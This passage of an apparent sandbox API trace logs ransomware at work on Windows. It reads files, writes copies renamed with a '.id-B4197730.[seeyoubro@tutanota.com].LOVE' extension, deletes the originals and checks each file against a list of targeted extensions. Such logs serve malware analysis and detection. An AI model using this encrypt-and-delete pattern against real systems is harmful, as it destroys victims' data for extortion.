dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.885] GetLastError () returned 0x0 [0196.885] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xf13, lpOverlapped=0x0) returned 1 [0196.894] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf20, lpOverlapped=0x0) returned 1 [0196.895] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.895] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.895] SetEndOfFile (hFile=0x2e0) returned 1 [0196.896] CloseHandle (hObject=0x2e0) returned 1 [0196.898] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.898] SetEndOfFile (hFile=0x304) returned 1 [0196.899] CloseHandle (hObject=0x304) returned 1 [0196.899] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.900] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0196.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.900] lstrlenW (lpString=".doc") returned 4 [0196.900] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.900] lstrlenW (lpString=".docx") returned 5 [0196.900] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.900] lstrlenW (lpString=".pdf") returned 4 [0196.900] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.900] lstrlenW (lpString=".xls") returned 4 [0196.900] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.900] lstrlenW (lpString=".xlsx") returned 5 [0196.900] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.900] lstrlenW (lpString=".ppt") returned 4 [0196.901] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.901] lstrlenW (lpString=".zip") returned 4 [0196.901] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.901] lstrlenW (lpString=".rar") returned 4 [0196.901] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString=".bz2") returned 4 [0196.901] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString=".7z") returned 3 [0196.901] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.901] lstrlenW (lpString=".dbf") returned 4 [0196.901] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.901] lstrlenW (lpString=".1cd") returned 4 [0196.901] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.901] lstrlenW (lpString=".jpg") returned 4 [0196.901] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.901] lstrlenW (lpString=".doc") returned 4 [0196.901] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString=".docx") returned 5 [0196.901] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.901] lstrlenW (lpString=".pdf") returned 4 [0196.901] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.901] lstrlenW (lpString=".xls") returned 4 [0196.901] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.902] lstrlenW (lpString=".xlsx") returned 5 [0196.902] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.902] lstrlenW (lpString=".ppt") returned 4 [0196.902] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.902] lstrlenW (lpString=".zip") returned 4 [0196.902] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.902] lstrlenW (lpString=".rar") returned 4 [0196.902] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.902] lstrlenW (lpString=".bz2") returned 4 [0196.902] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.902] lstrlenW (lpString=".7z") returned 3 [0196.902] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.902] lstrlenW (lpString=".dbf") returned 4 [0196.902] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.902] lstrlenW (lpString=".1cd") returned 4 [0196.902] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0196.902] lstrlenW (lpString=".jpg") returned 4 [0196.902] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.902] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.902] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.903] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=76818) returned 1 [0196.903] CloseHandle (hObject=0x304) returned 1 [0196.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0196.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.903] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.903] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.904] GetLastError () returned 0x0 [0196.904] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0196.919] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0196.921] ReadFile (in: hFile=0x304, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.922] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.922] SetEndOfFile (hFile=0x2e0) returned 1 [0196.922] CloseHandle (hObject=0x2e0) returned 1 [0196.924] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.924] SetEndOfFile (hFile=0x304) returned 1 [0196.925] CloseHandle (hObject=0x304) returned 1 [0196.925] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.926] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0196.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.926] lstrlenW (lpString=".doc") returned 4 [0196.926] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.926] lstrlenW (lpString=".docx") returned 5 [0196.926] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.926] lstrlenW (lpString=".pdf") returned 4 [0196.926] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.926] lstrlenW (lpString=".xls") returned 4 [0196.926] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.926] lstrlenW (lpString=".xlsx") returned 5 [0196.926] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.926] lstrlenW (lpString=".ppt") returned 4 [0196.926] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.926] lstrlenW (lpString=".zip") returned 4 [0196.926] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.926] lstrlenW (lpString=".rar") returned 4 [0196.926] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.926] lstrlenW (lpString=".bz2") returned 4 [0196.926] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.926] lstrlenW (lpString=".7z") returned 3 [0196.927] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString=".dbf") returned 4 [0196.927] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString=".1cd") returned 4 [0196.927] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString=".jpg") returned 4 [0196.927] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString=".doc") returned 4 [0196.927] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString=".docx") returned 5 [0196.927] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.927] lstrlenW (lpString=".pdf") returned 4 [0196.927] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString=".xls") returned 4 [0196.927] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString=".xlsx") returned 5 [0196.927] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.927] lstrlenW (lpString=".ppt") returned 4 [0196.927] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString=".zip") returned 4 [0196.927] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.927] lstrlenW (lpString=".rar") returned 4 [0196.927] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString=".bz2") returned 4 [0196.927] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString=".7z") returned 3 [0196.927] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString=".dbf") returned 4 [0196.927] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.927] lstrlenW (lpString=".1cd") returned 4 [0196.927] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0196.928] lstrlenW (lpString=".jpg") returned 4 [0196.928] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.928] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.928] lstrlenW (lpString="eula.rtf") returned 8 [0196.928] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0197.097] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=5827) returned 1 [0197.097] CloseHandle (hObject=0x314) returned 1 [0197.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0197.097] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0197.097] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.097] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0197.185] GetLastError () returned 0x0 [0197.185] ReadFile (in: hFile=0x314, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x16c3, lpOverlapped=0x0) returned 1 [0197.434] WriteFile (in: hFile=0x318, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0197.435] ReadFile (in: hFile=0x314, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.435] WriteFile (in: hFile=0x318, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0197.435] SetEndOfFile (hFile=0x318) returned 1 [0197.435] CloseHandle (hObject=0x318) returned 1 [0197.436] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.436] SetEndOfFile (hFile=0x314) returned 1 [0197.437] CloseHandle (hObject=0x314) returned 1 [0197.437] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.438] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0197.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.438] lstrlenW (lpString=".doc") returned 4 [0197.438] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.438] lstrlenW (lpString=".docx") returned 5 [0197.438] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.438] lstrlenW (lpString=".pdf") returned 4 [0197.438] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.438] lstrlenW (lpString=".xls") returned 4 [0197.438] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.438] lstrlenW (lpString=".xlsx") returned 5 [0197.438] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.438] lstrlenW (lpString=".ppt") returned 4 [0197.438] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.438] lstrlenW (lpString=".zip") returned 4 [0197.439] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.439] lstrlenW (lpString=".rar") returned 4 [0197.439] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.439] lstrlenW (lpString=".bz2") returned 4 [0197.439] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.439] lstrlenW (lpString=".7z") returned 3 [0197.439] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.439] lstrlenW (lpString=".dbf") returned 4 [0197.439] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.439] lstrlenW (lpString=".1cd") returned 4 [0197.439] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.439] lstrlenW (lpString=".jpg") returned 4 [0197.439] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.439] lstrlenW (lpString=".doc") returned 4 [0197.439] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0197.439] lstrlenW (lpString=".docx") returned 5 [0197.439] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0197.439] lstrlenW (lpString=".pdf") returned 4 [0197.439] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0197.439] lstrlenW (lpString=".xls") returned 4 [0197.439] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0197.440] lstrlenW (lpString=".xlsx") returned 5 [0197.440] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0197.440] lstrlenW (lpString=".ppt") returned 4 [0197.440] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0197.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.440] lstrlenW (lpString=".zip") returned 4 [0197.440] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0197.440] lstrlenW (lpString=".rar") returned 4 [0197.440] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0197.440] lstrlenW (lpString=".bz2") returned 4 [0197.440] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0197.440] lstrlenW (lpString=".7z") returned 3 [0197.440] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0197.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.440] lstrlenW (lpString=".dbf") returned 4 [0197.440] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0197.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.440] lstrlenW (lpString=".1cd") returned 4 [0197.440] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0197.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0197.440] lstrlenW (lpString=".jpg") returned 4 [0197.440] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0197.440] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.440] lstrlenW (lpString="LocalizedData.xml") returned 17 [0197.440] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0197.556] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=80254) returned 1 [0197.556] CloseHandle (hObject=0x314) returned 1 [0197.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0197.602] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0197.615] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.615] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.616] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0197.633] GetLastError () returned 0x0 [0197.633] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1397e, lpOverlapped=0x0) returned 1 [0197.664] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x13980, lpOverlapped=0x0) returned 1 [0197.666] ReadFile (in: hFile=0x338, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.666] WriteFile (in: hFile=0x340, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.666] SetEndOfFile (hFile=0x340) returned 1 [0197.667] CloseHandle (hObject=0x340) returned 1 [0197.669] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.669] SetEndOfFile (hFile=0x338) returned 1 [0197.671] CloseHandle (hObject=0x338) returned 1 [0197.671] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.671] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0197.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.671] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0197.672] lstrlenW (lpString=".doc") returned 4 [0197.672] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.672] lstrlenW (lpString=".docx") returned 5 [0197.672] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.672] lstrlenW (lpString=".pdf") returned 4 [0197.672] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.672] lstrlenW (lpString=".xls") returned 4 [0197.672] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.672] lstrlenW (lpString=".xlsx") returned 5 [0197.672] lstrcmpiW 